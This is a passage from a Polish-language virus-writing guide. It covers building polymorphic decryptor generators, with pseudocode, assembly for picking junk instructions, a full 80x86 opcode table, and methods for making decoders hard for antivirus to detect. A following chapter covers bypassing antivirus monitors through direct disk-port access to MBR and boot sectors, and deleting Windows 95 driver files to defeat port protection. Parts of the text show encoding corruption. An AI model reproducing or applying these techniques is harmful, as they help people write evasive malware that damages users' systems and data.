DEKODUJ_1 DANÑ [INDEX]

DEKODUJ_2 DANA [INDEX]

DEKODUJ_N DANA [INDEX]

INDEX:=INDEX + PRZYROST ;

end;

Dla każdej procedury dekodującej generator losuje najczęściej odpowiednio:

> indeks;

> licznik;

> kierunek zwiększania licznika;

> kierunek dekodowania;

> rodzaj używanych instrukcji (8086, 80286 itd.).

Licznik oznacza najczęściej rejestry procesora wybierane z listy (E)AX, (E)BX, (E)CX, (E)DX, (E)BP, (E)SI, (E)DI. Rejestr (E)SP jest z wiadomych względów pomijany. Oczywiście, możliwe jest także użycie rejestrów 8-bitowych (najprościej jako licznika). Litera (E) oznacza, iż możliwe jest wybranie także rejestrów 32 bitowych, jednak należy pamiętać, że użycie ich znacząco komplikuje samą procedurę generującą.

Z kolei indeks wybierany jest z listy możliwych sposobów adresowania dla procesorów 80x86. Może to być więc [BX+????], [BP+????], [SI+????], [DI+????], [BP+SI+????], [BP+DI+????], [BX+SI+????] lub [BX+DI+????]. Są to wszystkie możliwości, jakie może zawierać pole MmRejMem w instrukcjach operujących na danych w pamięci.

Liczbę różnych indeksów można poszerzyć poprzez użycie sposobów adresowania, które pojawiły się w procesorach 386 i wyższych. Umożliwiają one (poprzez zastosowanie słowa rozkazowego SIB) zastosowanie do adresowania wszystkich użytkowych rejestrów procesora.

Kierunek zwiększania licznika określa, czy licznik rośnie aż do wartości maksymalnej, czy też maleje od tej wartości do zera.

Kierunek dekodowania określa, od której strony zacznie się dekodo-wanie wirusa po uruchomieniu procedury; czy od początku zaszyfro-wanego kodu, czy też od jego końca. Konsekwencją obranych kierunków będą odpowiednie rozkazy zwiększające lub zmniejszające indeks i licznik. Od kierunków również zależeć będzie instrukcja sprawdzająca warunek zakończenia pętli dekodującej. Stopień skomplikowania samego dekodera wzrośnie, jeżeli pozwolimy na dynamiczne zmiany licznika i indeksu podczas działania programu. Na przykład, jeżeli początkowy licznik ustalimy jako CX, to po kilku wygenerowanych instrukcjach należy za pomocą instrukcji MOV REjl6, CX lub XCHG REJ16, CX wymusić zmianę licznika na inny.Jeśli chcemy skomplikować całą procedurę i uczynić ją polimorficzną, należy między instrukcje stanowiące integralną część dekodera wstawić rozkazy niepotrzebne z punktu widzenia działania programu, lecz niezbędne do zaciemnienia i ukrycia głównej procedury dekodu-jącej (rozkazy te muszą być wybierane losowo).

O ile w procedurze semi-polimorficznej do zaciemnienia kodu dekodera służył tylko jeden rozkaz, JMP SHORT, o tyle w przypadku pełnej procedury polimorficznej należy uwzględnić jak największą ilość rozkazów procesora.

Instrukcje stanowiące taki wypełniacz muszą spełniać kilka warunków. Najważniejsze Jest to, aby rozkazy te:

> nie zamazywały dowolnie nie używanej przez siebie pamięci;

> nie zawieszały komputera;

> nie powodowały generowania wyjątków;

> nie niszczyły zawartości ważnych dla działania programu rejestrów (m.in. CS, SS, SP oraz rejestrów stanowiących indeks i licznik).

Część powyższych ograniczeń można ominąć, o ile wykonana operacja zostanie odwrócona, a więc możliwe jest np. zamazanie pamięci, ale tylko pod warunkiem, iż w zniszczone miejsce wpiszemy chwilę później oryginalną, zapamiętaną wcześniej zawartość. Podobnie ma się sprawa ze zmienianiem rejestrów. Jeżeli chcemy np. zmienić rejestr będący licznikiem, możemy jego wartość na chwilę zapisać do innego rejestru lub na stosie, a następnie zmienić go tak, aby po wykonaniu kilku kolejnych instrukcji przywrócić jego oryginalną zawartość.

Najprostszy sposób to wstawienie jako wypełniacza instrukcji 1-bajtowych, jednak jest ich tak niewiele w liście rozkazów, iż procedura zawierająca tylko takie instrukcje będzie łatwa do wykrycia. Ponadto zbyt duża ich ilość w programie też nie jest pożądana, gdyż z reguły programy używają instrukcji kilkubajtowych, w związku z czym nadmiar instrukcji 1-bajtowych może wydać się podejrzany (zwłaszcza programowi antywirusowemu).

Pamiętać trzeba, iż najlepiej byłoby, gdyby wygenerowana procedura przypominała fragment typowych programów komputerowych, stąd też wskazane jest używanie w generatorze wywoływań przerwań BIOS i funkcji systemu DOS (np. sprawdzanie wersji systemu DOS, sprawdzanie, czy jest jakiś klawisz w buforze klawiatury itp.), które spowodują, iż ewentualnemu programowi antywirusowemu program wyda się typową aplikacją.

Innymi, prostymi do wykorzystania instrukcjami są rozkazy operujące na akumulatorze (AX) i na jego młodszej części (AL), gdyż posiadają uproszczone w stosunku do innych rejestrów kody. Również operacje przypisywania rejestrom roboczym jakiejś wartości są bardzo proste do wstawienia (grupa rozkazów MOV REJ/???? o kodach B0/??-B7/?? dla rejestrów AL - BH lub B8/????-BF/???? dla rejestrów AX - DI).

Trochę trudniejsza jest symulacja operacji stosowych, rozkazów skoków i wywołań procedur, jednak, jak pokazują istniejące generatory, można je z powodzeniem stosować. Aby procedura dekodująca była jak najbardziej podobna do fragmentu typowego programu, warto stosować instrukcje modyfikujące jakieś komórki w pamięci. Używając ich należy pamiętać, iż zmodyfikowaną wartość należy później bezwzględnie przywrócić (chyba, że mamy pewność, iż jest to dana nieistotna np. w kodzie wirusa).

Korzystając z operacji działających w pamięci na argumentach typu word i dword nie wolno zapominać o tym, iż np. przy adresowaniu bazowym lub indeksowym wartości rejestrów (SI, DI, BX, BP) będą najczęściej nie ustalone, stąd może wystąpić sytuacja, w której instrukcja będzie pobierała lub modyfikowała daną z pogranicza dwóch segmentów. Innymi słowy, offset obliczany na podstawie indeksu będzie miał np. wartość 0FFFFh, co przy próbie dostępu do danej word lub dword z miejsca pamięci określonego przez ten offset spowoduje wystąpienie wyjątku (numer 13 - ogólne naruszenie mechanizmów ochrony).

Aby uwzględnić w generatorze jak najpełniejszą listę rozkazów, należy zaopatrzyć się w spis instrukcji procesorów 80x86 i ich kodów maszynowych, a następnie przeanalizować każdą z instrukcji pod kątem jej przydatności jako części wypełniacza oraz warunków, w których zadziała ona poprawnie. Dobrym przykładem może być analiza instrukcji LODSB, którą chcielibyśmy zastosować zamiast instrukcji INC SI. Oprócz tego, iż modyfikuje ona rejestr AX (dokładniej AL), pamiętać trzeba, iż jej poprawne działanie zależne jest także od stanu bitu kierunku DF, zawartego w rejestrze znaczników. Używając jej musimy mieć więc pewność, iż wcześniej wystąpiła już instrukcja CLD, która właściwie ustawiła bit DF.

Powyższy przykład został dobrany celowo, gdyż pokazuje on, że aby uzyskać dany efekt, nie trzeba wcale używać szablonowych instrukcji, lecz poprzez użycie odpowiednich zamienników (działających

tak samo) można uzyskać jeszcze większą zmienność procedury de-kodującej. Innymi przykładami mogą tu być także poniższe operacje zerujące rejestr CX:

MOV CX,0 ; najbardziej trywialne zerowanie rejestru CX

XOR CX,CX ; operacja XOR na tych samych operandach zeruje je

SUB CX,CX ; odejmij CX od CX, w efekcie CX=0

AND CX,0 ; iloczyn logiczny z zerem jest zerem

ZerujCX: ; po wykonaniu pÛtli LOOP ZerujCX

; rejestr CX bÛdzie r¾wny O

MOV CX,XYZ ; wpisz do rejstru CX warto£µ

SUB CX,XYZ ; i potem j╣ od niego odejmij

MOV REJ16,0 ; zeruj jaki£ rejestr 16-bitowy

MOV CX,REJl6 ; i za jego pomoc╣ zeruj rejestr CX

XOR CL,CL ; kombinacje powy┐szych operacji dla rejestr¾w 8-bitowych SUB CH,CH ; CL i CH │╣cznie tak┐e wyzeruja rejestr CX

Oczywiście, powyższe sekwencje nie wyczerpują wszystkich możliwości.

Powyższą operację należy stosować przy doborze nie tylko instrukcji modyfikujących indeks i licznik, ale i przy rozkazach będących integralną częścią dekodera. Można np. zamiast jednej instrukq'i ADD [INDEX],???? użyć:

CLC ADC [INDEX], ????

SUB [INDEX],-????

MOV REJ,????

ADD [INDEX],REJ

Możliwości jest tu, podobnie jak poprzednio, bardzo dużo. Po wygenerowaniu procedura dekodująca powinna mieć postać podobną do poniższej sekwencji:

....... ; wype│niacz

inicjuj rejestr - licznik lub indeks

....... ; wype│niacz

inicjuj rejestr - indeks lub licznik

....... ; wype│niacz

pierwsza instrukcja dekodera

....... ; wype│niacz

druga instrukcja dekodera

....... ; wype│niacz

n-ta instrukcja dekodera

....... ; wype│niacz

sprawdzenie warunku zako±czenia pÛtli

....... ; wype│niacz

skok, je┐eli warunek spe│niony

....... ; wype│niacz

w│a£ciwy, zaszyfrowany

kod wirusa, do kt¾rego

zostanie przekazane

sterowanie po rozkodowaniu

....... ; wype│niacz

Przeprowadzając kilkakrotnie powyższe operacje można uzyskać kilkustopniową procedurę dekodera, która będzie bardzo trudna do wykrycia przez programy antywirusowe.

Aby przyspieszyć wykonywanie procedury dekodującej, często szyfruje się cały kod wirusa jakąś stałą procedurą, a dopiero ta jest roz-kodowywana za pomocą zmiennej procedury deszyfrującej, której wystarcza na rozkodowanie kilkakrotne wykonanie pętli dekodera. Innym sposobem może być tu całkowite pominięcie pętli i stworzenie kodu, który wygeneruje właściwą, stałą procedurę dekodująca w locie, budując odpowiednie jej instrukcje z odpowiednich fragmentów rozrzuconych po kodzie.

Poniżej zebrano informacje o wszystkich znanych instrukcjach procesorów 80x86 (kierując się ich przydatnością do wykorzystania w generatorze).

Lista nie zawiera rozkazów koprocesora, rozkazów systemowych oraz instrukcji wykorzystywanych przez języki wysokiego poziomu

(nie są one wykorzystywane przez generatory polimorficzne). Oprócz kodów instrukcji podano opis sposobu zapisywania adresów za pomocą bajtu MmRejMem (286+) i SIB (386+).

Informacje podane poniżej dotyczą działania instrukcji w trybie rzeczywistym procesora, a więc adresowania segmentów o rozmiarze maksymalnym 64k. W przypadku trybu chronionego i segmentów większych niż 64k (najczęściej 4G, czyli model FLAT) należy wziąć pod uwagę, iż działanie przedrostków 66 i 67 ma w nich odmienne znaczenie. Na przykład, jeżeli chcemy wygenerować rozkaz zerowania rejestru AX (MOV AX/0), należy dla segmentu zadeklarowanego z dyrektywą USE16 umieścić w buforze ciąg B8, 00, 00, zaś dla segmentu zadeklarowanego z dyrektywą USE32 użyć sekwencji 66, B8, OO, 00. Chcąc natomiast zerować rejestr EAX (MOV EAX/0), należy dla segmentu USE16 użyć sekwencji 66, B8, 00, 00, 00, 00, a dla segmentu USE32 - B8, 00, 00, 00, 00. Jak widać, przedrostki 66 i 67 służą do wymuszania trybu interpretowania instrukcji, odmiennego od tego którego używa procesor w danym trybie. W trybie rzeczywistym wymusza on instrukcje 32-bitowe, w chronionym zaś 16-bitowe.

Ze względu na to, iż instrukcje często zawierają argumenty w postaci kilku bitów umieszczonych w różnych miejscach, wszystkie kody instrukcji zawarte poniżej występują jako liczby binarne.

Działanie procedury generującej wypełniacz może wyglądać mniej więcej tak:

N:=LiczbaPseudolosowa

For I:=1 to N do GenerujInstrukcjÛ

Liczba N określa, ile instrukcji zostanie wygenerowanych podczas jednego wywołania procedury.

Procedura GenerujInstrukcję powinna wybrać (np. z tablicy) pierwszy bajt instrukcji i zapisać ją do bufora, a następnie, o ile to konieczne, dodać wymagane operandy. Podczas wybierania argumentów instrukcji należy sprawdzać czy wylosowany, przypadkowy argument nie koliduje w jakiś sposób z używanymi przez dekoder rejestrami. Jeżeli tak jest, procedurę wybierania argumentu należy kontynuować, aż do znalezienia odpowiedniego argumentu. Procedura GenerujInstrukcję powinna wyglądać mniej więcej tak (zapisana w pseudojęzyku, trochę podobnym do Pascala):

procedurÛ GenerujInstrukcjÛ;

X:=LiczbaPseudolosowa wybieraj╣ca generowana instrukcjÛ sprawdƒ atrybuty instrukcji wskazywanej przez X

if s╣ jakie£ operandy then

dla ka┐dego operandu begin

repeat

arg:=Pseudolosowa

if arg nie koliduje z zasobami dekodera to argument znaleziony

untii argument znaleziony lub furtka bezpiecze±stwa

wstaw operand=arg end else wstaw instrukcjÛ bez operand¾w;

end;

Załóżmy, iż dla dekodera zostały wybrane:

[Mem, czÛ£µ bajtu MrnRejMem, w tym przypadku [BX+SI] }

Indeks:= 000 ;{Rejestr: z przedzia│u 000.. 111}

Licznik:= 001 ;{trzeba zdekodowaµ u┐ywane

; przez indeks dwa rejestry, w tym

; przypadku oczywi£cie rÛcznie }

IndeksModyf1:= 110 ; [numer rejstru SI}

IndeksModyf2:= 011 ; (numer rejestru BX}

Niech procedura GenerujInstrukcje wybierze teraz do wstawienia np. rozkaz DEC, który w tabeli jest zapisany jako:

01001Rej DEC rejestr Rej.

Jak widać, instrukcja ta posiada parametr Rej, w tym przypadku rejestr 16 - lub 32 - bitowy. Załóżmy, iż rejestr jest 16-bitowy. Zapisana w asemblerze sekwencja szukająca operandu dla instrukcji powinna wyglądać mniej więcej tak:

SzukajArgumentu:

MOV AX,7

Call RandomAX ; weƒ liczbÛ z przedzia│u 000...111

; liczba w AL (bo AH-0)

cmp AL,IndeksModyfl ; czy rejestr zajÛty przez

; pierwsza czÛ£µ indeksu ?

je SzukajArgumentu

cmp AL, IndeksModyf2 ; czy rejestr zajÛty przez

; druga czÛ£µ indeksu ?

je SzukajArgumentu

cmp AL, Licznik ; czy rejestr zajÛty przez licznik ?

je SzukajArgumentu

cmp AL,100b ; czy rejestr to SP ?

je SzukajArgumentu

; argument znaleziony i jest w AL

; AL=00000arg - argument na trzech

; m│odszych bitach

or al, 01001000b ; zsumuj logicznie z 5 bitami kodu

; operacj i DEC

stosb ; zapisz ca│a instrukcjÛ DEC arg do bufora

Postępując w podobny sposób można rozszerzyć generator o wszystkie możliwe do wykorzystania, opisane dalej instrukcje.

W opisie instrukcji przyjęto następujące oznaczenia:

Rej - określa rejestr biorący udział w operacji; rodzaj rejestru (8-, 16-, czy 32-bitowy) jest określany na podstawie bitu D (jeżeli ten istnieje w instrukcji) oraz w zależności od tego, czy przed instrukcją wystą-pił przedrostek 66. Jeżeli D=0, to rejestr jest 8-bitowy; jeżeli przedrostek nie wystąpił i D=0, to 16-bitowy, w innym wypadku jest on 32-bitowy. Wartości przypisane poszczególnym rejestrom są następujące:

Rej

000

001

010

011

100

101

110

111

8-bitowe

AL.

CL

DL

BL

AH

CH

DH

BH

16-bitowe

AX

CX

DX

BX

SP

BP

SI

DI

32-bitowe

EAX

ECX

EDX

EBX

ESP

EBP

ESI

EDI


Mem - określa adres w pamięci, na którym wykonywana jest operacja; sposób adresowania zależy od obecności przedrostka 67 oraz od pola struktury MmRejMem, będącej drugim bajtem instrukcji. W zależności od zawartości pola Mm zmienia się wielkość offsetu dodawanego do odpowiednich rejestrów (08 - ofset 8 bitowy, 016 - 16 bitowy, 032 - 32 bitowy).

Jeżeli nie wystąpił przedrostek 67, to używany jest następujący sposób adresowania (16 - bitowy, Seg oznacza domyślny segment adresujący dane, jeżeli przed instrukcja nie wystąpił przedrostek innego segmentu):

Mem

Seg/Mm

00

01

10

11 - operacja na rejestrze o numerze Mam, a nie na pamieci

000

DS

[BX+SI]

[BX+SI+O8]

[BX+SI+O16]


001

DS

[BX+DI]

[BX+DI+O8]

[BX+DI+O16]


010

SS

[BP+SI]

[BP+SI+O8]

[BP+SI+O16]


011

SS

[BP+DI]

[BP+DI+O8]

[BP+DI+O16]


100

DS

[SI]

[SI+O8]

[SI+O16]


101

DS

[DI]

[DI+O8]

[DI+O16]


110

DS/SS

DS:[O16]

SS:[BP+O8]

SS:[BP+O16]


111

DS

[BX]

[BX+O8]

[BX+O16]



Jeżeli wystąpił przedrostek 67, to używany jest następujący sposób adresowania (32-bitowy):

Mem

Seg/Mm

00

01

10

11-operacja na rejestrze o numerze Mem, a nie na pamięci

000

DS

[EAX]

[EAX+O8}

[EAX+O32]


001

DS

[ECX]

[ECX+O8]

[ECX+O32]


010

DS

[EDX]

[EDX+O8]

[EDX+O32]


011

DS

[EBX]

[EBX+O8]

[EBX+O32]


100


[SIB]

[SIB+O8]

[SIB+O32]


101

DS/SS

DS:[O32]

SS:[EBP+O8]

SS:[EBP+O32]


110

DS

[ESI]

[ESI+O8]

[ESI+O32]


111

DS

[EDI]

[EDI+O8]

[EDI+O32]



Użyty w tabeli skrót SIB (ang. Scale Index Base) oznacza rozszerzony sposób adresowania, w którym ułatwiony jest m.in. dostęp do tablic. Bajt opisujący pola SIB występuje zaraz po bajcie MmRejMem. Sposób obliczania przez procesor adresu zawartego w SIB jest następujący:

Adres SIB:=Baza+Indeks*(2^N), gdzie

> baza opisywana jest przez bity 7-5 bajtu SIB;

> indeks opisywany jest przez bity 4-2 bajtu SIB;

> liczba N opisywana przez bity 1-0 bajtu SIB (tak więc jedyna możliwość to mnożenie indeksu przez 2^00=1, 2^01=2, 2^10=4 2^11=8).

Poniższa tabela zawiera wartości, które może przyjmować Baza.

Baza

Seg/Mm

00

01,10,11

000

DS

EAX

EAX

001

DS

ECX

ECX

010

DS

EBX

EBX

011

DS

EDX

EDX

100

SS

ESP

ESP

101

DS/SS

DS:O32

SS:EBP

110

DS

ESI

ESI

111

DS

EDI

EDI


Poniższa tabela zawiera wartości, które może przyjmować Indeks.

Index

Rejestr

000

EAX

001

ECX

010

EBX

011

EDX

100

-

101

EBP

110

ESI

111

EDI


Sg - opisuje rodzaj segmentu użytego w operacji.

Możliwe wartości Sg to: 00=ES, 01=CS, 10=SS, 11=DS

Seg - rozszerzone Sg (uwzględnia FS i GS).

Możliwe wartości Seg to: 000=ES, 001=CS, 010=SS, 011-DS, 100=FS, 101-GS

Wwww - określa różne warunki występujące w skokach lub rozkazach SRTxxxx i może przyjmować wartości przedstawione w poniższej tabeli:

Wartość Warunek

0000 O - overflow

0001 NO - not overflow

0010 C-carry

0011 NC-notcarry

0100 Z-zero

0101 NZ-not zero

0110 NA-notabove

0111 A-above

1000 S-sign

1001 NS-notsign

1010 P-parity

1011 NP-notparity

1100 L-less

1101 NL-not less

1110 NG-notgreat

1111 G-great


Ope - używane przez niektóre instrukcje do określania operacji matematycznej lub logicznej, którą ma instrukcja wykonać.

Ope

000

001

010

011

100

101

110

111

Opis

ADD

OR

ADC

SBB

AND

SUB

XOR

CMP


Op2 - tworzy podgrupę operacji wykonywanych przez instrukcje o bajcie początkowym =82/83 (jest to zrnniejszona lista Ope).

Ope2

000

001

010

011

100

101

110

111

Opis

ADD

ADC

SBB



SUB


CMP


Op3 - opisuje grupę instrukcji o pierwszym kodzic=F6/F7.

Ope

000

001

010

011

100

101

110

111

Opis

TEST


NOT

NEG

MUL

IMUL

DIV

IDIV


Op4 - opisuje instrukcje z pierwszym bajtem =FE,

Ope

000

001

010

011

100

101

110

111

Opis

INC


DEC







Op5 - opisuje instrukcje z pierwszym bajtem =FF.

Ope

000

001

010

011

100

101

110

111

Opis

INC

DEC

CALL NEAR

CALL FAR

JMP NEAR

JMP FAR

PUSH



Ops - opisuje różne rodzaje przesunięć.

Ope

000

001

010

011

100

101

110

111

Opis

ROL

ROR

RCL

RCR

SHL

SHR

SAL

SAR


Akumulator - oznacza rejestr AL, AX lub EAX; rodzaj rejestru wybierany jest na podstawie bitu D (jeżeli ten jest w instrukcji) oraz obecności przedrostka 66.

Wartkom8 - oznacza bajt określający liczbę będącą operandem instrukcji.

WartkomD - oznacza bajt, słowo lub dwusłowo (zależnie od bitu D i przedrostka 66) określające liczbę będącą operandem instrukcji.

Reladre8 - określa relatywny offset (z zakresu -128..+127), który dodawany jest do wskaźnika instrukcji IP po wykonaniu np. skoku lub procedury.

ReladreD - określa relatywny offset, który dodawany jest do wskaźnika instrukcji IP po wykonaniu np: skoku, procedury (rodzaj ofsetu: 16- czy 32- bitowy określany jest na podstawie obecności przedrostka 66).

Numport8 - określa numer portu (8 bitów), na którym wykonuje się operację IN lub OUT.

Addroffs i Addrsegm - określają segment i offset, pod który skacze procesor po wykonaniu dalekiej procedury lub dalekiego skoku.

bit D - określa rodzaj operandu: bajt, słowo lub dwusłowo;

- jeżeli nie wystąpił przedrostek 66 i D=0: bajt,

- jeżeli nie wystąpił przedrostek 66 i D=1: słowo,

- jeżeli wystąpił przedrostek 66 i D=1: podwójne słowo.

bit S - określa kierunek przesyłania danych podczas wykonywania instrukcji zawierających bajt MmRejMem; S=0 Operacja Mem, Rej i S=1 Operacja Rej, Mem.

bit F - ustawiony, oznacza, iż jest to RETF, w przeciwnym razie RETN.

Jeżeli mnemonik instrukcji zmienia się przy użyciu przedrostka 66 lub bitu D, kolejne nazwy są oddzielone przecinkiem.

Kody Instrukcji

Kod instrukcji (binarnie) Mnemonik

00001111 1000Wwww Reladr16 JWwww Reladr16

00001111 1001Wwww MmRejMem SETWwww byte ptr [Mem]

00001111 10100000 PUSH FS

00001111 10100001 POP FS

00001111 10100010 CPUID

00001111 10100011 MmRejMem BTMem,Rej

00001111 10100100 MmRejMem Wartkom8 SHLD Mem,Wartkom8

00001111 10100101 MmRejMem SHLD Mem,Rej,CL

00001111 1010011D MmRejMem CMPXCHG Mem,Rej

00001111 10101000 PUSH GS

00001111 10101001 POP GS

00001111 10101011 MmRejMem BTS Mem,Rej

00001111 10101100 MmRejMem Wartkom8 SHRD Mem,Wartkom8

00001111 10101101 MmRejMem SHRD Mem,Rej,CL

00001111 10101111 MmRejMem IMUL Rej,Mem

00001111 10110010 MmRejMem LSS Rej,Mem

00001111 10110011 MmRejMem BTS Mem,Rej

00001111 10110100 MmRejMem LFS Rej,Mem

00001111 10110101 MmRejMem LGS Rej,Mem

00001111 10110110 MmRejMem MOVZX Rej,Mem

00001111 10110111 MmR32Mem MOVZX R32,Mem

00001111 10111011 MmRejMem BTC Mem,Rej

00001111 10111100 MmRejMem BSF Mem,Rej

00001111 10111101 MmRejMem BSR Mem,Rej

00001111 10111110 MmRejMem MOVSX Rej,Mem

00001111 10111111 MmR32Mem MOVSX R32,Mem

00001111 1100000D MmRejMem XADD Mem,Rej

00001111 11000111 Mm001Mem CMPXCHG8B mem

00001111 11001r32 BSWAP r32

00001111 11011010 Mm100Mem Wartkom8 BT Mem,Wartkom8

00001111 11011010 Mm101Mem Wartkom8 BTS Mem,Wartkom8

00001111 11011010 Mm110Mem Wartkom8 BTR Mem,Wartkom8

00001111 11011010 Mm111Mem Wartkom8 BTC Mem,Wartkom8

000Sg110 PUSH rejestr segmentowy Sg

000Sg111 POP rejestr segmentowy Sg, Sg<>01,

bo 00001111= rozszerzene instrukcje (w 8086

by│a to instrukcja POP CS)

00100111 DAA

00101111 DAS

00110111 AAA

00111111 AAS

001Sg110 przedrostek segmentu Sg

000pe0SD MmRejMem S=0,Ope Mem,Rej, S=1 Ope Reg,Mem

000pe10D WartkomD Ope Akumulator,WartkomD

01000Rej INC rejestr Rej

01001Rej DEC rejestr Rej

01010Rej PUSH rejestr Rej

01011Rej POP rejestr Rej

01100000 PUSHA

01100001 POPA

01100100 FS:

01100101 GS:

01100110 przedrostek instrukcji 386+ (dane 32-bitowe)

01100111 przedrostek instrukcji 386+ (operandy 32-

bitowe)

01101000 WartkomD PUSH WartkomD

0110100D MmRejMem WartkomD IMUL Rej,WartkomD,Mem

01101010 Wartkom8 PUSH Wartkom8

0110110D INSB, INSW, INSWD

0110111D OUTSB, OUTSW, OUTSD

0111wwww Reladre8 JWwww Reiadre8

1000000D MmOpeMem WartkomD Ope Mem,WartkomD

1000001D MmOp2Mem Wartkom8 Op2 Mem, Integer (Wartkom8)

1000010D MmRejMem TEST Mem,Rej

1000011D MmRejMem XCHG Mem,rej

100010SD MmRejMem S=0, MOV Mem,Rej, S=1 MOV Reg,Mem

10001101 MmRejMem LEA Rej,Mem

10001111 Mm000Mem POP Mem

100011S0 MmSegMem S=0 MOV Mem,Seg, S=1 MOV Seg, Mem

10010Rej XCHG rejestr Rej

10011000 CBW/CWDE

10011001 CWD/CDQ

10011010 Addroffs Addrsegm CALL FAR Addrsegm:Addroffs

10011011 wait

10011100 PUSHF/PUSHFD

10011101 POPF/POPFD

10011110 SAHF

10011111 LAHF

101000SD WartkomD S=0 MOV Akumutator,[WartkomD] ; S=1 MOV [WartkomD],Akumulator

1010010D MOVSB,MOVSW, MOVSD

1010011D CMPSB, CMPSW, CMPSD

1010100D WartkomD TEST Akumulator,WartkomD

1010101D STOSB, STOSW, STOSD

1010110D LODSB, LODSW, LODSD

1010111D SCASB, SCASW, SCASD

1011DRej WarkomD MOV Rej,WartkomD

1100000D MmOpsMem Wartkom8 Ops Mem,Wartkom8

11000100 MmRejMem LES Rej,Mem

11000101 MmRejMem LDS Rej,Mem

1100011D Mm000Mem WarkomD MOV Mem,WartkomD

11001100 INT3

11001101 Wartkom8 INT Wartkom8

11001110 INTO

11001111 IRET

1100F010 WartkomF RET WartkomF

1100F011 RET N/F

1101000D MmOpsMem Ops Mem,1

1101001D MmOpsMem Ops Mem,CL

11010110 SETALC

11010111 XLAT

11100000 Reladre8 LOOPNZ Reladre8

11100001 Reladre8 LOOPZ Reiadre8

11100010 Reladre8 LOOP Reladre8

11100011 Reladre8 JCXZ/JECXZ Reladre8

11100100 Wartkom8 AAM Wartkom8, zwykle Wartkom8=10

11100101 Wartkom8 AAD Wartkom8, zwykle Wartkom8=10

1110010D Numport8 IN Akumulator,Numport8

1110011D Numport8 OUT Numport8,Akumulator

11101000 Reladr16 CALLNEAR Reladr16

11101001 Reladr16 JMP NEAR Reladr16

11101010 Addroffs Addrsegm JMP FAR Addrsegm:Addroffs

11101011 Reladre8 JMP SHORT Reladre8

1110110D IN Akumulator, DX

1110111D OUT DX,Akumulator

11110000 LOCK

11110010 REPNZ

11110011 REP, REPZ

11110101 CMC

1111011D Mm000Mem WartkomD TEST Mem,Wartkom8

1111011D MmOp3Mem Op3 Mem

11111000 CLC

11111001 STC

11111010 CLI

11111011 STI

11111100 CLD

11111101 STD

11111110 MmOp4Mem Op4 Mem

11111111 MmOp5Mem Op5 Mem



ROZDZIAŁ 9


9.1. Sposoby dostępu do dysków

Najczęściej stosowany (bo najprostszy) mechanizm dostępu do plików lub sektorów polega na używaniu funkcji i przerwań programowych DOS (INT 21h, INT 25h, INT 26h). Najczęściej korzystają z niego wirusy plikowe i czasem wirusy BOOT-sektorów. Ze względu na możliwość istnienia zainstalowanego w systemie monitora antywirusowego sposób ten można bezpiecznie wykorzystać tylko po wyłączeniu aktywnego monitora lub też po znalezieniu oryginalnych procedur wejścia do odpowiednich przerwań.

Na dużo niższym poziomie operują wirusy infekujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Korzystają one z przerwania programowego INT 13h, operującego bezpośrednio na fizycznych sektorach dysków (w przypadku dyskietek można użyć przerwania 40h). Tak jak w przypadku przerwań i funkcji DOS, funkcje BIOS mogą być dość łatwo monitorowane przez program antywirusowy, a w nowoczesnych BIOS-ach - nawet przez program obsługi przerwania. W takim wypadku pozostaje jedyna bezpieczna metoda ingerencji w zawartość sektorów, polegająca na użyciu bezpośrednich odwołań do portów.

Pisanie procedur do obsługi plików, które na najniższym poziomie odwoływałyby się do portów nie ma sensu, natomiast łatwo jest napisać takie procedury tylko dla pojedynczych, wybranych sektorów, czyli np. MBR, BOOT-sektora, co w przypadku dysków (zgodnych z IDE lub EIDE) oraz dyskietek jest względnie proste. W przypadku dysków SCSI jest to o wiele trudniejsze, chociażby ze względu na brak dokładnej dokumentacji technicznej tych urządzeń, stąd też trzeba obsługiwać je przez funkcje systemowe (można pokusić się o poszukanie czystych wejść do procedur ich obsługi).

Operując na portach należy pamiętać, iż wraz z pojawieniem się dysków o pojemnościach o wiele większych od tych, które mogą być standardowo obsługiwane przez funkcje BIOS przerwania 13h, zaszła konieczność jakiegoś obejścia dotychczasowych ograniczeń związanych z pojemnością dysków widzianych przez BIOS. Niektóre twarde dyski posiadają więc w swych pierwszych fizycznych sektorach (począwszy od MBR) coś w rodzaju nakładki (ang. Dynamic Drive Overlay), która po załadowaniu do pamięci przez program zawarty w pierwszym fizycznym sektorze przejmuje i poszerza odpowiednie funkcje obsługi dysku. Aby możliwe było dalsze wczytywanie systemu, po wczytaniu nakładki odwołania do sektorów są przekierowy-wane (do numeru cylindra dodawane jest l). W efekcie prawdziwy sektor MBR wcale nie jest umiejscowiony w sektorze o adresie: cylinder 0, strona 0, sektor l, lecz pod adresem: cylinder l, strona 0, sektor l. Nieuwzględnienie tego faktu może przyczynić się do przypadkowego zniszczenia danych na dysku podczas zapisywania przy użyciu portów, a co za tym idzie, do szybszego wykrycia wirusa.

Najskuteczniejszym sposobem uchronienia się przed odczytem i zapisem bezpośrednio przez porty jest odpowiednia kontrola dostępu do urządzeń we/wy na poziomie trybu chronionego przy pomocy tablic map portu. Jednak i to zabezpieczenie nie wydaje się bardzo pewne, gdyż najczęściej istnieje jakaś możliwość ingerencji w jądro systemu nawet dla trybu chronionego (jeżeli nie w pamięci, to w plikach), a co za tym idzie, można zmienić odpowiednią część systemu, odpowiedzialną w tym wypadku za operacje na dyskach.

W przypadku systemu Windows 95 (działającego w trybie chronionym) można spróbować wymuszać jego uruchamianie w tzw. trybie zgodności z MS DOS. Tryb ten oznacza, iż wszelkie wykonywane operacje dyskowe są przekierowywane do trybu rzeczywistego, a tam nie działa mechanizm ochrony portów.

Aby wymusić używanie tego trybu przez Windows 95, należy skasować lub tymczasowo usunąć następujące pliki:

> ściezka\SYSTEM\IOSUBSYS\HSFLOP.PDR - plik odpowiedzialny za dyski FDD;

> ścieźka\SYSTEM\IOSUBSYS\ESDI_506.PDR - plik odpowiedzialny za dyski twarde zgodne z (E)IDE;

> ścieżka\SYSTEM\IOSUBSYS\SCSIPORT.PDR - plik odpowiedzialny za dyski twarde SCSI,

gdzie ścieżka oznacza katalog, w którym umieszczony jest system Windows. Zastosowanie tego triku spowoduje, iż przy następnym ładowaniu systemu Windowa zostanie on uruchomiony w trybie zgodności z MS DOS.

Odnalezienie katalogu, w którym umieszczony jest system Windows, nie stanowi problemu. Wystarczy w bloku pamięci należącym do środowiska (ang. enviroment) odnaleźć jedną ze zmiennych (nie zawsze występują wszystkie):

> WIN=;

> WINDIR=;

> WINBOOTDIR=

i odczytać opisywany przez daną zmienną katalog, a następnie już bez trudu uzyskać dostęp do plików *.PDR.

